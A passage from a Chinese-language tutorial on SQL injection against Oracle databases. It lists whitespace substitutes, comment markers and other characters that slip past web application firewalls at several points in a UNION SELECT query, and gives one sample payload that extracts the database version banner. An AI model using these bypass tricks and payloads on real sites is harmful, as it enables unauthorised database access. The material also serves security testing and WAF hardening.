0x01 前言
我们经常利用一些数据库特性来进行WAF绕过。在Oracle中,比如可以这样:
相比于Mysql/MSsql,它的特性相对较少,但确有其特殊之处,比如空白字符可以用%00替代,一个获取数据库版本
的语句就这么长。一起去探索一下Oracle数据库特性,挖掘能够绕过WAF防护的数据库特性。
0x02 测试
常见有5个位置即: SELECT * FROM admin WHERE username = 1【位置一】union【位置二】select【位置三】
1,user()【位置四】from【位置五】admin
位置一:参数和union之间的位置
1)空白字符
Oracle中可以利用的空白字符有: %00 %09 %0a %0b %0c %0d %20
2)注释符号/**/
3)其他字符
%2e . 点号
位置二:union和select之间的位置
1)空白字符
Oracle中可以利用的空白字符有: %00 %09 %0a %0b %0c %0d %20
2)注释符号/**/
位置三:select和查询参数之间的位置
1)空白字符
Oracle中可以利用的空白字符有: %00 %09 %0a %0b %0c %0d %20
2)注释符号/**/
3)其他字符
%2b +
%2d -
%ad
select * from emp where mgr=7782 union select+NULL,(SELECT banner FROM v$version where
rownum=1),NULL,NULL,NULL,NULL,NULL,NULL FROM DUAL
位置四:查询参数和from之间的位置